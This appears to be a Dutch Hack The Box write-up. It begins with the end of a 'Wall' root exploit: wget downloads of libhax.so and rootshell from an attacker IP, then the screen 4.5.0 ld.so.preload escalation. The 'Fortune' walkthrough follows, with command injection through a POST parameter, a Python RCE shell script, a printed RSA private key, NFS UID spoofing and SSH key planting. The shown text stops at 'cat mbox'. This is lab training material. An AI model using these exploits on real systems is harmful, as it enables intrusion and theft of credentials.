--2019-12-19 01:18:36--  http://10.10.xx.xx/libhax.so
Connecting to 10.10.xx.xx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16144 (16K) [application/octet-stream]
Saving to: 'libhax.so'

libhax.so           100%[===================>]  15.77K  11.7KB/s    in 1.3s    


www-data@Wall:/tmp$ wget http://10.10.xx.xx/rootshell
--2019-12-19 01:19:05--  http://10.10.xx.xx/rootshell
Connecting to 10.10.xx.xx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16832 (16K) [application/octet-stream]
Saving to: 'rootshell'

rootshell           100%[===================>]  16.44K  16.3KB/s    in 1.0s    


$ whoami
www-data
$ cd /etc
cd /etc
$ umask 000
umask 000
$ /bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
/bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
$ /bin/screen-4.5.0 -ls
/bin/screen-4.5.0 -ls
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.

$ /tmp/rootshell
/tmp/rootshell
# whoami
whoami
root
# cd /root
cd /root
# ls
ls
centreon-broker centreon-clib centreon-engine centreon-web-19.04.2 root.txt
cat root.txt
1fdbcf8c33eaa2599afdc52e1b4d5db7
#

Auteur : Jacco Straathof

 

HTB – Fortune

Zoals altijd zullen we beginnen met een nmap scan.

root@kali:~/htb# nmap -sV -sT -sC fortune.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-18 15:06 EST
Stats: 0:00:16 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 100.00% done; ETC: 15:06 (0:00:00 remaining)
Nmap scan report for fortune.htb (10.10.10.127)
Host is up (0.060s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey: 
| 2048 07:ca:21:f4:e0:d2:c6:9e:a8:f7:61:df:d7:ef:b1:f4 (RSA)
| 256 30:4b:25:47:17:84:af:60:e2:80:20:9d:fd:86:88:46 (ECDSA)
|_ 256 93:56:4a:ee:87:9d:f6:5b:f9:d9:25:a6:d8:e0:08:7e (ED25519)
80/tcp open http OpenBSD httpd
|_http-title: Fortune
443/tcp open ssl/https?
|_ssl-date: TLS randomness does not represent time

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.49 seconds

We hebben http , https op poort 80, poort 443 en we hebben ssh op poort 22, dus we zullen ons concentreren op de webservices.


HTTP initiële opsomming

De indexpagina op http://fortune.htb is vrij eenvoudig, we hebben een aantal opties waar we een database met fortuinen kunnen kiezen en we krijgen een willekeurig fortuin uit die database:

Op https://fortune.htb krijgen we een handshake-fout, dit betekent waarschijnlijk dat we een clientcertificaat nodig hebben.


RCE, genereren van clientcertificaten

Terug naar http://fortune.htb Ik onderschepte het verzoek met burp en er was slechts één parameter in het POST-verzoek genaamd db , nadat ik verschillende dingen had geprobeerd, kon ik RCE krijgen door een puntkomma toe te voegen ; :
Verzoek :

POST /select HTTP/1.1
Host: fortune.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://fortune.htb/
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
Connection: close
Upgrade-Insecure-Requests: 1

db=;pwd

Reactie:

HTTP/1.1 200 OK
Connection: close
Content-Type: text/html; charset=utf-8
Date: Fri, 02 Aug 2019 11:08:49 GMT
Server: OpenBSD httpd
Content-Length: 680

<!DOCTYPE html>
<html>
<head>
<title>Your fortune</title>
<meta name='viewport' content='width=device-width, initial-scale=1'>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
</head>
<body>
<h2>Your fortune is:</h2>
<p><pre>

Bagbiter:
	1. n.; Equipment or program that fails, usually
intermittently.  2. adj.:  Failing hardware or software.  &#34;This
bagbiting system won&#39;t let me get out of spacewar.&#34;  Usage:  verges on
obscenity.  Grammatically separable; one may speak of &#34;biting the
bag&#34;.  Synonyms: LOSER, LOSING, CRETINOUS, BLETCHEROUS, BARFUCIOUS,
CHOMPER, CHOMPING.
/var/appsrv/fortune


</pre><p>
<p>Try <a href='/'>again</a>!</p>
</body>
</html>

Ik kon geen omgekeerde shell krijgen, ssh krijgen of de gebruikersvlag lezen, dus we gaan het vak via deze RCE enige tijd opsommen.
Ik heb een script geschreven om het gemakkelijker te maken:

#!/usr/bin/python3
import requests
import sys

YELLOW = "\033[93m"
GREEN = "\033[32m"

def exploit(payload):
	post_data = {"db":payload}
	req = requests.post("http://10.10.10.127/select",data=post_data)
	response = req.text
	return response

def filter(response):
	start = "rce_result"
	end = "rce_result_end"
	result = response[response.find(start)+len(start):response.rfind(end)]
	return result

while True:
	rce = input(GREEN + "[?] command : ")
	payload = ";echo rce_result;{};echo rce_result_end".format(rce)
	response = exploit(payload)
	result = filter(response)
	print(YELLOW + "[*] Result :")
	print(result)

Dit script neemt het commando om uit te voeren en verzendt vervolgens de payload die is ;echo rce_result;COMMAND;echo rce_result_end dan zoekt het door het antwoord en drukt de string af tussen rce_result en rce_result_end die de uitvoer is van onze opdracht.

Er zijn 3 gebruikers op de doos: bob , charlie en nfsuser :

[?] command : ls -la /home
[*] Result :

total 20
drwxr-xr-x   5 root     wheel    512 Nov  2  2018 .
drwxr-xr-x  13 root     wheel    512 Aug  2 05:47 ..
drwxr-xr-x   5 bob      bob      512 Nov  3  2018 bob
drwxr-x---   3 charlie  charlie  512 Aug  2 06:21 charlie
drwxr-xr-x   2 nfsuser  nfsuser  512 Nov  2  2018 nfsuser

In de basismap van bob stond een map met de naam ca :

[?] command : ls -la /home/bob
[*] Result :

total 48
drwxr-xr-x  5 bob   bob    512 Nov  3  2018 .
drwxr-xr-x  5 root  wheel  512 Nov  2  2018 ..
-rw-r--r--  1 bob   bob     87 Oct 11  2018 .Xdefaults
-rw-r--r--  1 bob   bob    771 Oct 11  2018 .cshrc
-rw-r--r--  1 bob   bob    101 Oct 11  2018 .cvsrc
-rw-r--r--  1 bob   bob    359 Oct 11  2018 .login
-rw-r--r--  1 bob   bob    175 Oct 11  2018 .mailrc
-rw-r--r--  1 bob   bob    215 Oct 11  2018 .profile
-rw-------  1 bob   bob     13 Nov  3  2018 .psql_history
drwx------  2 bob   bob    512 Nov  2  2018 .ssh
drwxr-xr-x  7 bob   bob    512 Oct 29  2018 ca
drwxr-xr-x  2 bob   bob    512 Nov  2  2018 dba

Ik heb die map enige tijd opgesomd en er was een map met de naam intermediate waar ik een certificaat en een sleutel vond:

[?] command : ls -la /home/bob/ca
[*] Result :

total 56
drwxr-xr-x  7 bob  bob   512 Oct 29  2018 .
drwxr-xr-x  5 bob  bob   512 Nov  3  2018 ..
drwxr-xr-x  2 bob  bob   512 Oct 29  2018 certs
drwxr-xr-x  2 bob  bob   512 Oct 29  2018 crl
-rw-r--r--  1 bob  bob   115 Oct 29  2018 index.txt
-rw-r--r--  1 bob  bob    21 Oct 29  2018 index.txt.attr
-rw-r--r--  1 bob  bob     0 Oct 29  2018 index.txt.old
drwxr-xr-x  7 bob  bob   512 Nov  3  2018 intermediate
drwxr-xr-x  2 bob  bob   512 Oct 29  2018 newcerts
-rw-r--r--  1 bob  bob  4200 Oct 29  2018 openssl.cnf
drwx------  2 bob  bob   512 Oct 29  2018 private
-rw-r--r--  1 bob  bob     5 Oct 29  2018 serial
-rw-r--r--  1 bob  bob     5 Oct 29  2018 serial.old

[?] command : ls -la /home/bob/ca/intermediate
[*] Result :

total 60
drwxr-xr-x  7 bob  bob   512 Nov  3  2018 .
drwxr-xr-x  7 bob  bob   512 Oct 29  2018 ..
drwxr-xr-x  2 bob  bob   512 Nov  3  2018 certs
drwxr-xr-x  2 bob  bob   512 Oct 29  2018 crl
-rw-r--r--  1 bob  bob     5 Oct 29  2018 crlnumber
drwxr-xr-x  2 bob  bob   512 Oct 29  2018 csr
-rw-r--r--  1 bob  bob   107 Oct 29  2018 index.txt
-rw-r--r--  1 bob  bob    21 Oct 29  2018 index.txt.attr
drwxr-xr-x  2 bob  bob   512 Oct 29  2018 newcerts
-rw-r--r--  1 bob  bob  4328 Oct 29  2018 openssl.cnf
drwxr-xr-x  2 bob  bob   512 Oct 29  2018 private
-rw-r--r--  1 bob  bob     5 Oct 29  2018 serial
-rw-r--r--  1 bob  bob     5 Oct 29  2018 serial.old

[?] command : ls -la /home/bob/ca/intermediate/certs
[*] Result :

total 32
drwxr-xr-x  2 bob  bob   512 Nov  3  2018 .
drwxr-xr-x  7 bob  bob   512 Nov  3  2018 ..
-r--r--r--  1 bob  bob  4114 Oct 29  2018 ca-chain.cert.pem
-r--r--r--  1 bob  bob  1996 Oct 29  2018 fortune.htb.cert.pem
-r--r--r--  1 bob  bob  2061 Oct 29  2018 intermediate.cert.pem

[?] command : ls -la /home/bob/ca/intermediate/private
[*] Result :

total 20
drwxr-xr-x  2 bob  bob   512 Oct 29  2018 .
drwxr-xr-x  7 bob  bob   512 Nov  3  2018 ..
-r--------  1 bob  bob  1675 Oct 29  2018 fortune.htb.key.pem
-rw-r--r--  1 bob  bob  3243 Oct 29  2018 intermediate.key.pem

[?] command : cat /home/bob/ca/intermediate/certs/intermediate.cert.pem
[*] Result :

-----BEGIN CERTIFICATE-----                           
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
-----END CERTIFICATE-----

[?] command : cat /home/bob/ca/intermediate/private/intermediate.key.pem
[*] Result :


-----BEGIN RSA PRIVATE KEY-----
MIIJKQIBAAKCAgEAuTGpzUbl4RIyDuJv8S36vZm96P8FoUgseznDqNOqAEN+qU6N
TzZAjOvCAJu7tiJjnvrUxf4SzuLRQEsU99R6UDBj/rz1dMRq3P/7VdbNC5o2zrd9
9fN/MDz288Rv7Z24LKWvPoEFWU5DSpQo+lregWcl4yzTS0hHQjjk/aGPPkLFhT1o
W/kbz9205JT1LvR+mqNWbH/0Q92K7Ns3b2UqEdvD0nm/t7SAphhkGYEtsxyEdiI9
7sB6jXxlgHzblwFlQaHvh6H7u6rCm/VGQDFmY3d/zA1TtZ0vuAJ2/EEs0NU6XySL
6YmfIsPJdu4NoeEeXofqwQjNf2bsjgQZrOujLxTBo1L4cFsNvZVwwNscyr+wZM/S
ybEGB3vBe4e+wvzkT7YD4lqubvXZO346jKcnOF/lviF6HmxhUL5pac4XHNYPJhVo
KmimYUWi2fJ/1B2PgRrzv/mmlgL7JOpJNWMUbc8bEf698QziuCXj5R/+Lover058
nrvCAnI4I4wUHTGAgOC1J4hbVoYXEjK1GT+zlnX9+JAqGthxxqQp/YXYk1lgA5xp
ANJIlxH0gwaTQ4a8HAPBliHnEV0vXK38+yzRe1/uD3OUWKw+DYD/EmH78QiAr7Yb
7K4H1yh5VF9zkLCTN6WYoaSM1Z0Tnb8nv8SUuSwsa/piZvRo7VqzYbDtl8MCAwEA
AQKCAgEAkjfD+W+g0LOtElN2TtYewtRAPVYc+9ogRKq28PUtpEemGccLix8qmBkM
c66B5qwAO+WPWUPhVbd/v2OIiqQYbnfGe7p1klwCg7sYlg2ilyaLX2tA6I/4O/3m
fVD7joCYiafHVXJI5toEBz4znHdidokaQOODcE0A9ig1pIuKrX3Ktghl/TgR3W0P
BesWKpyf2ThdZA0irvKcXaY3fpxBOxho5CV8WW8KpBld70Uu79v0OdGPVJJkMJGn
EmuCdReE+u0AUfZy6xlHzhs5/DUEwkP3gwSCs0IICyDnEQPkfn3cOIKCdUFTg/9R
cbVCzi0P7VMi5oYsugppezeBjiX+EDQogYDpSF94aFy8FdG6UgGLUpicNyG93niL
iXTJ0X0MS1E1AWSvECguIuUaNuDW+ZOdMCGoKKVCjTzHGvMunSP5ibIhSprhf4v0
KrBxalXAZafq6jVrEkQkNQrVVaodkFMFH4+J3Sa8Zi1mOiQ9xFmGMV+8AUiz899J
4PHcf7WzLb/FilyhwIM3HPSI7n3mJ0x7xkuQ3COxioVbvCkz0fAaQzz1U8h/pFxV
+wfx2X5F3N8RzU5ufR/M/Asni8RId7M8TJ44qWQln8itM+0aWTKiLrhBOcC55eug
hHIop2z+amPqxsynTVbbmiVwGpCYGNt3Q/7/FovcxF36hkbULwECggEBAPPgQwX4
gL9PBBwSi2oCS+164tSTc0B3R31B0AatewdXyASNYml9rCTOa/VJntvIAHDvWQ3+
wfrf34/1DIdZttwPYpcKAiWz/CXqPqEhd3uFLOrRoo1xBaenwLvCI99cYEvcrQIF
ctBDsqGytJ/Begs7dg04KLZUbsoYVTzkwf9O0I1aEHY4r9cUfXyPBYFl1qJdJoY1
83sZAZo+DXLdmtXVpoM/8MlhnMfg9VQ+txrMZg+1zEiuiNY9Rmv6CDpx68WcNKxF
y6mEkR8Ux3ZdHht/9azTU9n2btsx3EPBviwgiXuPLdCwyjfopcUaj+2cX9n5dO5E
HFZXUnQKj5UgttcCggEBAMJmkplp9ofzkF17Z+B6u/PJHmFKBn/PgD1NKBlGINIY
wh/3mFq1AvqHqy9Y9q9H+S/rIr8i+ADi39lWUywYWbGxpTJ6q68tKJR2UVxP0otZ
CRqtqV/BUhADeXrxnSdTEtA9CTgLEn+fHbDGwzW1nhB/EsEfQFQBx31juR2k5kR3
LFpiex3zAvVYOuM9fkHsCp5rDsvv10/6+aUzVOXwYzNfDBU9PpdK0AnTy0rijXM4
4Ky6/DFEMRCh1yC/O99u8AomyvlPJXyOFlrijUikBGpBUE60zB0dFw62NlBZg0BX
po2sJnPZYgERFCb2jCK2SJnWWgtPvQbwHqXBLj4uxPUCggEBALEHSP/LjQHSRORv
3b29HwqrWn7+7fmM3Fsja/N8+MKyyOHtE9QJwu0Q3rM2ltdpjlBsnhOXq44F9s4U
Dt0tlZyWmnWTcU2XImEPchkbJxWF7b4jIMFVmspB7pkc61dXQhuve/Lsq5RcoA3a
oF0bYBFJP3+HFZ6NGcMf+Lf0QpKmzqLdDvgSXCpfmFvToiZ1G2HPBokEHtNrqosh
ojeQf7XbmjzKLGqyrdE2Dj/yKo6Mc0XSLRFRiMkjv7vfyxtJ2OEga+fl3loWfhW2
yre0Dofd0iN7X/Hnfj8lKYQR3o8/qy0DGTnVK2V8PuEeT/4mtjmPaH8Q+BUA3DyZ
8fJJxg8CggEAJ+AoZAWjRyHD1BkTJq2mTgxMCgLIMIFcubZQ6lZDNzVS5IHCI6EL
ml4n1A94kl2+FIEz4GcI3g2rgwY9C0d3Zoac7yzQeJ9XupRGfhv1gRXjUzCaFIUw
Ew7TZU+YP8+/hS1v7an/wmPeEDvFIQg/Av092JVTeaffxq2k9Bq2DQcw9t1Kicsm
KTNO6PvdISKMzxAAuf5ZeRNvD97mpD/Z6ViuvtCQPTJgWBO0mIi+IQtisqusPWLS
eano2dPAMUWtQTfR3K/KbbErjrr35hWWvkDley+EytgDucXQgEzMKm+QP3E3df36
J2PccV2TQy+G1t9sGvPhP0IT10Y3+RNY3QKCAQBCgyEOu2PEHO4FHHJsyXSN9als
OZa+sOykZ/7fdjBZpAsjvcmxUfAxT07+EVUz4Wo186BKlthQjVLoLd2QfeTYmGhj
IsZnjm0Ds8ezFka/3Cu7YwGt6MBfUO6Vq2MLlUDgvtcWPTvBvipfmfZtJ0x2hhNv
y6Lpg/KJrald3NHrIcS4GvE8gxz1AFmMM0j00EuJSZk66hpC2bBKMunXAquPDN3g
XPwjyvXUcxDf8Jx1MGFfO++6RlZMEO7jmB/xgonPkWP4xEcQlOQ65UfhpLjfum96
Ma9MyI3TStZzH998nMBc3LsUbXnDr0yofBt1AsLz3JsBHcgRIxYzzvtlIpjk
-----END RSA PRIVATE KEY-----

We kunnen ze gebruiken om een PKCS12 certificaat te genereren voor toegang tot de https service. met openssl we het doen met een enkel commando:

openssl pkcs12 -export -in intermediate.cert.pem -inkey intermediate.key.pem -out fortune.p12
root@kali:~/Desktop/HTB/boxes/fortune/cert# ls -al
total 20
drwxr-xr-x 2 root root 4096 Aug  2 13:40 .
drwxr-xr-x 3 root root 4096 Aug  2 13:40 ..
-rw-r--r-- 1 root root 6810 Aug  2 13:40 intermediate.cert.pem
-rw-r--r-- 1 root root 3243 Aug  2 13:40 intermediate.key.pem
root@kali:~/Desktop/HTB/boxes/fortune/cert# openssl pkcs12 -export -in intermediate.cert.pem -inkey intermediate.key.pem -out fortune.p12
Enter Export Password:
Verifying - Enter Export Password:
root@kali:~/Desktop/HTB/boxes/fortune/cert# ls -la
total 28
drwxr-xr-x 2 root root 4096 Aug  2 13:43 .
drwxr-xr-x 3 root root 4096 Aug  2 13:40 ..
-rw------- 1 root root 4237 Aug  2 13:43 fortune.p12
-rw-r--r-- 1 root root 6810 Aug  2 13:40 intermediate.cert.pem
-rw-r--r-- 1 root root 3243 Aug  2 13:40 intermediate.key.pem
root@kali:~/Desktop/HTB/boxes/fortune/cert# 

Nu kunnen we het certificaat in Firefox importeren:

Na het verwijderen van de SSL-uitzondering zal het ons certificaat vragen en ons toegang geven:


Verhoogde netwerktoegang, NFS, gebruikersvlag

Na toegang te krijgen tot https dit bericht op de indexpagina:

Ik wist niet wat authpf was, dus heb ik er naar gezocht.

authpf is een gebruikersshell voor het verifiëren van gateways. Het wordt gebruikt om pf-regels te wijzigen wanneer een gebruiker zich authenticeert en een sessie start met sshd en om deze wijzigingen ongedaan te maken wanneer de sessie van de gebruiker wordt afgesloten. Het is ontworpen voor het wijzigen van filter- en vertaalregels voor een individueel IP-adres van de bron zolang een gebruiker een actieve SSH-sessie onderhoudt. Typisch gebruik zou zijn voor een gateway die gebruikers authenticeert voordat ze internetgebruik toestaan, of een gateway die verschillende gebruikers naar verschillende plaatsen toestaat. – freeBSD handleiding

Dus in principe kan dit toegang geven tot sommige gefilterde services waartoe we eerder geen toegang hadden, om het te gebruiken hebben we een sleutel nodig en gelukkig kunnen we er een genereren:

We hebben 3 gebruikers op de doos, ik heb ze allemaal geprobeerd en nfsuser werkte:

Nu is het tijd voor een nieuwe nmap scan:
nmap -sV -sT -sC fortune.htb

We hebben twee nieuwe poorten, 8081 met http en 2049 met nfs . De http service geeft ons dit bericht:

Dus waarschijnlijk moeten we ons concentreren op nfs .

Network File System ( NFS ) is een gedistribueerd bestandssysteemprotocol dat oorspronkelijk is ontwikkeld door Sun Microsystems in 1984, waarmee een gebruiker op een clientcomputer toegang heeft tot bestanden via een computernetwerk, net zoals toegang tot lokale opslag. – Wikipedia

Ik gebruikte het RCE script om /etc/exports te controleren en het enige dat er was /home :

[?] command : cat /etc/exports
[*] Result :

/home

Door nfs-ls (dat deel uitmaakt van het pakket libnfs-utils ) kunnen we met succes de mappen weergeven:

root@kali:~/Desktop/HTB/boxes/fortune# nfs-ls nfs://fortune.htb/home
drwxr-xr-x  2  1002  1002          512 nfsuser
drwxr-xr-x  5  1001  1001          512 bob
drwxr-x---  3  1000  1000          512 charlie

Ik heb een map gemaakt, deze mnt en de nfs share erin gemount:

root@kali:~/Desktop/HTB/boxes/fortune# mkdir mnt && mount -t nfs fortune.htb:/home ./mnt
root@kali:~/Desktop/HTB/boxes/fortune# ls -la mnt
total 12
drwxr-xr-x 5 root root  512 Nov  3  2018 .
drwxr-xr-x 4 root root 4096 Aug  2 14:23 ..
drwxr-xr-x 5 1001 1001  512 Nov  3  2018 bob
drwxr-x--- 3 rick rick  512 Aug  2 12:21 charlie
drwxr-xr-x 2 1002 1002  512 Nov  3  2018 nfsuser
root@kali:~/Desktop/HTB/boxes/fortune# 

Ik kon echter geen toegang krijgen tot de directory van charlie :

root@kali:~/Desktop/HTB/boxes/fortune# cd mnt
root@kali:~/Desktop/HTB/boxes/fortune/mnt# cd charlie
-bash: cd: charlie: Permission denied

Dit komt omdat ik probeer met root waarvan de uid 0 :

root@kali:~/Desktop/HTB/boxes/fortune/mnt# id uid=0(root) gid=0(root) groups=0(root) root@kali:~/Desktop/HTB/boxes/fortune/mnt#

En de manier waarop nfs permissies werken moet ik dezelfde uid als charlie die 1000 :

[ ? ] command : id charlie [ * ] Result : uid = 1000 ( charlie ) gid = 1000 ( charlie ) groups = 1000 ( charlie ), 0 ( wheel )

Ik heb al een gebruiker op mijn box met de uid 1000 genaamd rick :

root@kali:~/Desktop/HTB/boxes/fortune/mnt# id rick uid=1000(rick) gid=1000(rick) groups=1000(rick) root@kali:~/Desktop/HTB/boxes/fortune/mnt#

Wij bezaten gebruiker.


Privilege-escalatie, rootvlag

Het eerste wat ik wilde doen is ssh krijgen, gelukkig had ik schrijftoegang tot authorized_keys :

rick@kali:/root/Desktop/HTB/boxes/fortune/mnt/charlie$ ls -la
total 22
drwxr-x--- 3 rick rick 512 Nov  6  2018 .
drwxr-xr-x 5 root root 512 Nov  3  2018 ..
-rw-r----- 1 rick rick 771 Oct 11  2018 .cshrc
-rw-r----- 1 rick rick 101 Oct 11  2018 .cvsrc
-rw-r----- 1 rick rick 359 Oct 11  2018 .login
-rw-r----- 1 rick rick 175 Oct 11  2018 .mailrc
-rw------- 1 rick rick 608 Nov  3  2018 mbox
-rw-r----- 1 rick rick 216 Oct 11  2018 .profile
drwx------ 2 rick rick 512 Nov  2  2018 .ssh
-r-------- 1 rick rick  33 Nov  3  2018 user.txt
-rw-r----- 1 rick rick  87 Oct 11  2018 .Xdefaults
rick@kali:/root/Desktop/HTB/boxes/fortune/mnt/charlie$ cd .ssh
rick@kali:/root/Desktop/HTB/boxes/fortune/mnt/charlie/.ssh$ ls -la
total 4
drwx------ 2 rick rick 512 Nov  2  2018 .
drwxr-x--- 3 rick rick 512 Nov  6  2018 ..
-rw------- 1 rick rick   0 Oct 11  2018 authorized_keys
rick@kali:/root/Desktop/HTB/boxes/fortune/mnt/charlie/.ssh$ 

Ik gebruikte ssh-keygen om een ​​private en een publieke sleutel te genereren:

root@kali:~/Desktop/HTB/boxes/fortune# mkdir ssh
root@kali:~/Desktop/HTB/boxes/fortune# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /root/Desktop/HTB/boxes/fortune/ssh/id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/Desktop/HTB/boxes/fortune/ssh/id_rsa.
Your public key has been saved in /root/Desktop/HTB/boxes/fortune/ssh/id_rsa.pub.
The key fingerprint is:
SHA256:OicgBWZAaEOpjbe8y6qqvgAEJwY0qDKuSuBXQ/Gt+Cs root@kali
The key's randomart image is:
+---[RSA 2048]----+
|%B*  .           |
|=O..  o .        |
|++. .. . .       |
|B o.. . .        |
|=+...+ .S        |
|+.o...o.         |
|oo o  +..        |
|+.o  E +.        |
|%++.  ..         |
+----[SHA256]-----+
root@kali:~/Desktop/HTB/boxes/fortune# cat ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjxkpA0ZDuhQD+S6db5Vs1jaYcBvQ95b3cIiWihMgHXZC4rMdRVgFhCKaNot9qISpBTnwlP7+NOC0GK7hVw3xDtLuqkTJb8DW2/8dsmsf3TUKX0IkFLz45kZs0eSBfBhl9CYnB5+9A/uQ1UNKufsUQ19sWuzspksvN/PA0aujwEUQgPlMlw+uSlcTxD+zTENVEJoM4cEVE5EvWg/JWYMQLbkob0k5YnDwgr3KdyWOxidsfLNXthd7FYjShVMl2yfW+r1NjJN8mCSE8z8G/GJ9ripwqWzOjgUzDvKIcODnJmt975h6h2oHExipzWj2IUJxPz41HiP3JgeSuDFP87fdz root@kali                               
root@kali:~/Desktop/HTB/boxes/fortune#

Toen schreef ik mijn openbare sleutel naar authorized_keys en kreeg ssh als charlie :

rick@kali:/root/Desktop/HTB/boxes/fortune/mnt/charlie/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjxkpA0ZDuhQD+S6db5Vs1jaYcBvQ95b3cIiWihMgHXZC4rMdRVgFhCKaNot9qISpBTnwlP7+NOC0GK7hVw3xDtLuqkTJb8DW2/8dsmsf3TUKX0IkFLz45kZs0eSBfBhl9CYnB5+9A/uQ1UNKufsUQ19sWuzspksvN/PA0aujwEUQgPlMlw+uSlcTxD+zTENVEJoM4cEVE5EvWg/JWYMQLbkob0k5YnDwgr3KdyWOxidsfLNXthd7FYjShVMl2yfW+r1NjJN8mCSE8z8G/GJ9ripwqWzOjgUzDvKIcODnJmt975h6h2oHExipzWj2IUJxPz41HiP3JgeSuDFP87fdz root@kali" >> authorized_keys 
rick@kali:/root/Desktop/HTB/boxes/fortune/mnt/charlie/.ssh$ cd ../../../ssh/
rick@kali:/root/Desktop/HTB/boxes/fortune/ssh$ su
Password: 
root@kali:~/Desktop/HTB/boxes/fortune/ssh# ssh charlie@fortune.htb -i id_rsa
OpenBSD 6.4 (GENERIC) #349: Thu Oct 11 13:25:13 MDT 2018

Welcome to OpenBSD: The proactively secure Unix-like operating system.
fortune$ 

In de thuismap van charlie er een bestand met de naam mbox dat een e-mail van bob naar charlie waarin hij werd bedankt voor het instellen van pgadmin4 voor hem en hem ook werd verteld dat hij het dba wachtwoord op het pgadmin4 had ingesteld:

fortune$ ls -al
total 44
drwxr-x---  3 charlie  charlie  512 Nov  5  2018 .
drwxr-xr-x  5 root     wheel    512 Nov  2  2018 ..
-rw-r-----  1 charlie  charlie   87 Oct 11  2018 .Xdefaults
-rw-r-----  1 charlie  charlie  771 Oct 11  2018 .cshrc
-rw-r-----  1 charlie  charlie  101 Oct 11  2018 .cvsrc
-rw-r-----  1 charlie  charlie  359 Oct 11  2018 .login
-rw-r-----  1 charlie  charlie  175 Oct 11  2018 .mailrc
-rw-r-----  1 charlie  charlie  216 Oct 11  2018 .profile
drwx------  2 charlie  charlie  512 Nov  2  2018 .ssh
-rw-------  1 charlie  charlie  608 Nov  3  2018 mbox
-r--------  1 charlie  charlie   33 Nov  3  2018 user.txt
fortune$ cat mbox                                                                                                                                                                                                 
